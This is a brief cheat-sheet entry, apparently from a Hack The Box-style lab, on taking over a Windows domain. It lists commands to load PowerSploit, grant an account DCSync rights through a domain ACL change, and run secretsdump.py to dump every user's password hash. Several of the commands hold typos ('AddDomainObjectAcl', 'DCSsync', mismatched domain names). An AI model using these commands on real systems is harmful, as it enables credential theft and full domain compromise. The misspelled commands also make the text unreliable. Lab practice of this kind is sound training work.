If you are a Domain Controller then you can dump all user hashes means proof that whole domain is mine.
windows: Import-Module .\PowerSploit.ps1
windows: AddDomainObjectAcl -PrincipalIdentity DC_username -TargetIdentity “DC=htb,DC=local” -Rights DCSsync
linux: secretsdump.py ‘ht.local/DC_username:password@$IP’